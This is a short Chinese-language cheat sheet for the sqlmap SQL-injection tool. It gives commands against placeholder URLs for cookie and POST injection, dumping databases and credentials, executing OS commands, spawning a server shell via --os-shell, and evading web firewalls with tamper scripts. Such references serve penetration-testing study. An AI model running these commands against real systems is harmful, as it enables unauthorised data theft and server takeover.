-hh 获得详细帮助
-v 详细级别 0-6 默认为1
1.显示基本信息和警告信息
2.显示debug信息
3.显示注入的payload 建议使用
4.显示http请求
5.显示http响应
6.显示http响应页面
-d 直接连接数据库
-u 目标url
-r 从文件载入http请求 需要带绝对路径
Cookie 注入 sqlmap.py -u "www.xxxxxx.com" --cookie "id=1" -level 2 要将等级调为2才进行cookie 的测试
post 注入 sqlmap.py -u "www.xxxx.com" --data "id=1"
sqlmap.py -u "www.xxxx.com" --data "username=&passwd=" （像一些表单提交型的，直接抓包，查看提交参数，写给data）
sqlmap.py -r "请求数据包的文件 " -p "id 可测试的参数"
--users 枚举数据库管理系统用户
--password 枚举数据库管理密码
access数据库的注入（--tables 列表名 --columns 列字段 --dunmp 下载数据）
除access数据库的其他数据库（ --is-dba 查看当前数据库的权限、 --dbs 查看所有数据库名、--users 所有数据库用户 、 --current-db 当前数据库名、current-user 当前数据库用户）
--os-cmd cmd执行操作系统命令 （ 列： sqlmap.py -u "wwww.xxxxxxx.com" --os-cmd="net user" 相当于执行net user 命令 ）
--os-shell 相当于给服务器写交互式shell 退出时一定要quit() 要不退出时，会把shell留在服务器上
--random-agent 随机选定Http的user-Agernt
--proxy 使用代理连接到目标url
绕过WAF的tamper插件的使用:
sqlmap.py -u "www.xxxx.com" -tamper "脚本.py"
宽字节绕过 unmagicquotes.py
用 /**/分割sql关键字 randomcomments.py
注释绕过 versionedkeywords.py
将注入语句插入带指定位置 （针对静态注入）
sqlmap.py -u "www.xxxxxx.com/id/1*.html" *代表注入的位置